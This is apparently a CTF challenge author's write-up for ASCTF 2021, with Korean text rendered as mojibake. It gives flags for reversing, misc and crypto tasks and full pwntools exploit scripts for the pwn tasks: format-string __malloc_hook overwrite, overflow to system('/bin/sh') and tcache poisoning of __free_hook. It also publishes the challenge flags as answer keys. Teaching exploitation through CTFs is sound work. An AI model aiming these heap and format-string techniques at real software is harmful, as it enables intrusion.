[ASCTF 2021] ์ถœ์ œ์ž Write-up [Rev(1), MISC&Crypto(3), Pwn(5)]
CTF Write-Up

[ASCTF 2021] ์ถœ์ œ์ž Write-up [Rev(1), MISC&Crypto(3), Pwn(5)]

๐Ÿงก Rev - One Time Pad

์‚ฌ์‹ค KUCIS Project ํ•  ๋•Œ ๋‚ด๊ฐ€ ๋งŒ๋“  ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ์›๋ž˜๋Š” ์†Œ์ผ“ ํ†ต์‹  ์ „์šฉ ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค.
OTP๋ฅผ ์‹ค์šฉ์ ์œผ๋กœ ์ด์šฉํ•˜๊ธฐ ์œ„ํ•œ ๋ฐฉ์•ˆ์„ ์—ฐ๊ตฌํ•˜๋˜ ๋„์ค‘ ๋‚˜์˜จ ์ปค์Šคํ…€ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด๋‹ค.

๋‹ค์Œ ๋‚ด์šฉ์„ ์ด์šฉํ•˜์—ฌ ๋ณตํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.
๐ŸŽƒ Flag: ASCTF{C#_is_shy}

๐Ÿงก MISC - ์ฐŒ๋ฆฟ์ฐŒ๋ฆฟ

flag.txt ํŒŒ์ผ์„ ์—ด๋ฉด base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ํ…์ŠคํŠธ๊ฐ€ ๋‚˜์˜จ๋‹ค. ๋””์ฝ”๋”ฉ ํ•˜๋ฉด?

ํ•ด๋‹น ๋‚ด์šฉ์„ caesar cipher key=6์œผ๋กœ decrypt ํ•ด์ฃผ๋ฉด ๋‹ค์Œ ๋‚ด์šฉ์ด ๋‚˜์˜จ๋‹ค.

๋ฌธ์ œ์—์„œ๋„ ํ”ผ์นด์ธ„๋ผ๋Š” ์‚ฌ์ง„์œผ๋กœ ํžŒํŠธ๋ฅผ ์คฌ๋‹ค.
Picalang์ด๋ผ๋Š” Brainfuck ์–ธ์–ด์ด๋‹ค.
URL: https://www.dcode.fr/pikalang-language

Pikalang Programming Language - Online Pikachu Decoder, Translator

Tool for decoding / encoding in Pikalang. Pikalang (or Pikachu language) is a minimalist programming language based on the Brainfuck for which it substitutes the signs by the syllables of Pikachu.

www.dcode.fr

๐ŸŽƒ Flag: ASCTF{Pokemon_Master}

๐Ÿงก MISC - Free Flag Program

Python 2.x input ํ•จ์ˆ˜์˜ ํŠน์„ฑ์„ ์ด์šฉํ•œ ๋ฌธ์ œ์ด๋‹ค.
URL: https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html

python input vulnerability

python input vulnerability hi guys today i will show you how little mistake in write code can lead to expose d...

intx0x80.blogspot.com

Python 2.x์˜ input ํ•จ์ˆ˜๋Š” eval(raw_input())์™€ ๊ฐ™์€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋ฏ€๋กœ input์‹œ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

๐ŸŽƒ Flag: ASCTF{Python2.x_input()_is_same_as_eval(raw_input())}

๐Ÿงก Crypto - aRe iS Am (Made by 1nteger_c)

๊ฐ„๋‹จํ•œ RSA Algorithm์„ ์ด์šฉํ•œ ๋ฌธ์ œ! ๋ง ๊ทธ๋Œ€๋กœ ํ’€๋ฉด Flag๋ฅผ ์ค€๋‹ค :D


๐ŸŽƒ Flag: ASCTF{BEST_HACKER_DONG_DORODONG_DONG_J00N!_!}

๐Ÿงก Binary Exploitation - Welcome

๊ฐ„๋‹จํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ๋ณ€์ˆ˜๊ฐ’ ์„ค์ •ํ•˜๊ธฐ ๋ฌธ์ œ!

๊ฐ„๋‹จํ•˜๋‹ˆ๊นŒ.. ํ’€์ด๋Š” ์Šคํ‚ต

๐ŸŽƒ Flag: ASCTF{we1c0me_t0_ASCTF!}

๐Ÿงก Binary Exploitation - Hearing Loss

FSB ๊ด€๋ จ ๋ฌธ์ œ!

Full RELRO๊ฐ€ ๊ฑธ๋ ค์žˆ์–ด์„œ GOT overwrite๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.
๋‹ต์€ glibc ํŠน์ • ๋ฒ„์ „์—์„œ ๋งŽ์€ ์–‘์˜ ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด malloc & free๊ฐ€ ํ˜ธ์ถœ๋˜๋Š” ์ ์„ ์ด์šฉํ•ด ์ฒซ๋ฒˆ์งธ printf์—์„œ๋Š” libc leak, ๋‘๋ฒˆ์งธ printf์—์„œ๋Š” hook overwrite, ์„ธ๋ฒˆ์งธ printf์—์„œ๋Š” ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด ๋˜๋Š”๋ฐ ๊ตณ์ด ์ด๋ ‡๊ฒŒ ์•ˆํ•˜๊ณ ๋„ FSB with ROP๋‚˜ rtld overwrite๋กœ๋„ ํ’€ ์ˆ˜ ์žˆ์„ ๋“ฏํ•˜๋‹ค.

from pwn import * context.log_level = 'debug' p = remote('pwn.ajouctf.fun', 20002) libc = ELF('./libc.so.6') payload = '%25$p' p.sendafter('?', payload) p.recv(1) leak = int(p.recv(14), 16) base = leak - 231 - libc.symbols['__libc_start_main'] oneshot = base + 0x4f432 malloc_hook = base + libc.symbols['__malloc_hook'] log.success(hex(base)) first = 0 mid = 0 oneshot_first = (oneshot >> 32) & 0xffff oneshot_mid = (oneshot >> 16) & 0xffff oneshot_last = oneshot & 0xffff if oneshot_mid < oneshot_last: mid = 0x10000 + oneshot_mid - oneshot_last else: mid = oneshot_mid - oneshot_last if oneshot_first < oneshot_mid: first = 0x10000 + oneshot_first - oneshot_mid else: first = oneshot_first - oneshot_mid payload = '%{0}c%{1}$hn'.format(oneshot_last, 11).encode() payload += '%{0}c%{1}$hn'.format(mid, 12).encode() payload += '%{0}c%{1}$hn'.format(first, 13).encode() payload += b'A' * (40-len(payload)) payload += p64(malloc_hook) payload += p64(malloc_hook+2) payload += p64(malloc_hook+4) payload += b'%100000c' p.sendafter('again..', payload) p.sendafter(':(', "%70000c"+"\x00"*121) p.interactive()


๐ŸŽƒ Flag: ASCTF{Dongjun_has_bad_hearing_:(}

๐Ÿงก Binary Exploitation - UNVSA (redeveloped.exd0tpy)

Whois ํ•™์ˆ ๋ถ€์žฅ ํ˜•์ด ์ „์— ์žฌ๋ฏธ๋กœ ๋งŒ๋“ค์–ด๋†จ๋˜ UNVSA๋ผ๋Š” ๋ฌธ์ œ์—์„œ ๋„์ปค ํ™˜๊ฒฝ์„ ์กฐ๊ธˆ ๋ฐ”๊พธ๊ณ  ์งœ์ฆ๋‚˜๊ฒŒ stripped ํ•˜์—ฌ ์ถœ์ œํ•œ ๋ฌธ์ œ!

UNVSA - ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๋‚ด๋ถ€ ๋ฃจํ‹ด

ํ•ด๋‹น ๋ฃจํ‹ด์—์„œ ๊ธธ์ด๋ฅผ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๊ณ  ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ž‘๋™์ด ์ˆ˜ํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— overflow๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

UNVSA - ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๊ฒฐ๊ณผ

๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์—์„œ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๊ฒฐ๊ณผ๊ฐ’์„ ์ถœ๋ ฅํ•ด์ฃผ๋Š”๋ฐ ์ด๋Š” ํ•จ์ˆ˜ ํ˜•์œผ๋กœ ์„ ์–ธ๋˜์–ด ์žˆ์–ด์„œ ์ด๋ฅผ oneshot ๊ฐ€์ ฏ์œผ๋กœ ๋ฎ๊ฑฐ๋‚˜ system("/bin/sh")๋กœ ๋ฎ์–ด ์‰˜์„ ๋”ธ ์ˆ˜ ์žˆ๋‹ค.

from pwn import* context.log_level='debug' s = remote('pwn.ajouctf.fun', 20003) libc = ELF('./libc.so') s.recvuntil('Input file content:') s.sendline('.VSA11'+'/\x01b\x01i\x01n\x01/\x01s\x01h\x01;\x01'+'a\x40\xb0\x01\x3f\x01\x40\x01\x00\x05') s.recvuntil('[DATA]\n') leak = u64(s.recv(6) + b'\x00'*2) base = leak - libc.symbols['puts'] log.success(hex(base)) system = base + 0x10a41c payload = b'.VSA11' + b'b\x08' + b'a\x40' payload += b'/\x01b\x01i\x01n\x01/\x01s\x01h\x01;\x01' for i in range(0, 6): payload += p8((system >> (i*8)) & 0xff) + b'\x01' s.recvuntil('Input file content:') s.sendline(payload) s.interactive()


๐ŸŽƒ Flag: ASCTF{It_is_an_easy_algorithm_right?}

๐Ÿงก Binary Exploitation - Sleeping Baby

ํ—ˆํ—ˆ ์›๋ž˜๋Š” sleep ๋ถ€๋ถ„์ด ๊ทธ๋ƒฅ ๊นก์œผ๋กœ ์‰ฌ๊ฒŒ ๋งŒ๋“ค์–ด๋†จ์—ˆ๋Š”๋ฐ ์š•๋จน์„ ๊ฒƒ ๊ฐ™์•„์„œ ์‹œ๊ฐ„์„ 1/33๋กœ ์ค„์˜€๋‹ค. sleep ๊ฒฐ๊ณผ์˜ ์ตœ์†Ÿ๊ฐ’์„ ๊ตฌํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์งค ์ค„ ์•„๋Š”๊ฐ€์™€ ์ตœ์‹  heap mitigation์„ ์ˆ™์ง€ํ•˜๊ณ  ์žˆ๋ƒ๋ฅผ ๋ฌผ์–ด๋ณด๋Š” ๋ฌธ์ œ์ด๋‹ค. ์•„๋‹ˆ๋ฉด 0x80000000์„ ๋„ฃ์–ด์„œ 1/2 ํ™•๋ฅ ๋กœ ๊ฐ’์„ 0์œผ๋กœ ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ๋‹ค. ๐Ÿ”ฅ

Sleeping Baby - PoW

์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ์ด์šฉํ•ด ๋‹ค์Œ sleep๋ฌธ์— ๋“ค์–ด๊ฐˆ ์ตœ์†Ÿ๊ฐ’์„ ๊ตฌํ•˜์—ฌ PoW๋ฅผ ํ†ต๊ณผํ•˜๋ฉด main์—์„œ libc ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ด์ค€๋‹ค.
PoW๋ฅผ ํ†ต๊ณผํ•˜๋ฉด ๊ฐ„๋‹จํ•˜๊ฒŒ tcahce poisoning์„ ์ผ์œผ์ผœ fd ๊ฐ’์„ ์กฐ์ž‘ํ•˜๋ฉด ๋œ๋‹ค.

from pwn import * context.log_level = 'debug' p = remote('pwn.ajouctf.fun', 20004) libc = ELF('./libc-2.32.so') arr = [] def mul(a, b): return (a * b) & 0xffffffff def add(idx, size, content): p.sendlineafter('>', '1') p.sendlineafter(':', str(idx)) p.sendlineafter(':', str(size)) p.sendafter(':', content) def remove(idx): p.sendlineafter('>', '2') p.sendlineafter(':', str(idx)) def edit(content): p.sendlineafter('>', '4') p.send(content) def decrypt(heap): key = 0 plain = 0 for i in range(1, 7): bits = 64-12*i if(bits < 0): bits = 0 plain = ((heap ^ key) >> bits) << bits key = plain >> 12 print(hex(plain)) return plain p.recvuntil('is ') random = p.recvline()[:-1] log.success(random) for i in range(1, 2000000): arr.append(mul(int(random), i)) arr_dict = {i+1 : arr[i] for i in range(len(arr))} rev_dict = sorted(arr_dict.items(), key=lambda arr_dict:arr_dict[1]) print('shortest => %s, %s' % (str(rev_dict[0][0]), str(rev_dict[0][1]))) p.sendlineafter('?', str(rev_dict[0][0])) p.recvuntil('=> ') leak = int(p.recv(14), 16) base = leak - libc.symbols['sleep'] system = base + libc.symbols['system'] free_hook = base + libc.symbols['__free_hook'] log.success(hex(base)) add(0, 16, 'AAAA') add(1, 16, 'BBBB') remove(0) remove(1) pause() p.sendlineafter('>', '3') p.recvuntil(': ') heap = u64(p.recv(6).ljust(8, '\x00')) log.success('heap_address -> %s' % hex(heap)) new_heap = decrypt(heap) log.success(hex(free_hook)) log.success(hex(new_heap)) edit(p64(free_hook ^ new_heap >> 12)) add(2, 16, '/bin/sh;') add(3, 16, p64(system)) remove(1) p.interactive()

๐Ÿงก Binary Exploitation - herolist_revenge

ํ—ˆํ—ˆ.. ๊ท€์ฐฎ..

'CTF Write-Up' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[SSTF 2021] Hackers Playground Writeup  (2) 2021.08.18
[RaRCTF 2021] Only Pwn Writeup  (1) 2021.08.10
[UDCTF 2021 | BlueHens 2021] Partial Writeup  (0) 2021.03.22
[UTCTF 2021] Partial Writeup  (0) 2021.03.15
[zer0pts CTF 2021] Partial Writeup  (2) 2021.03.07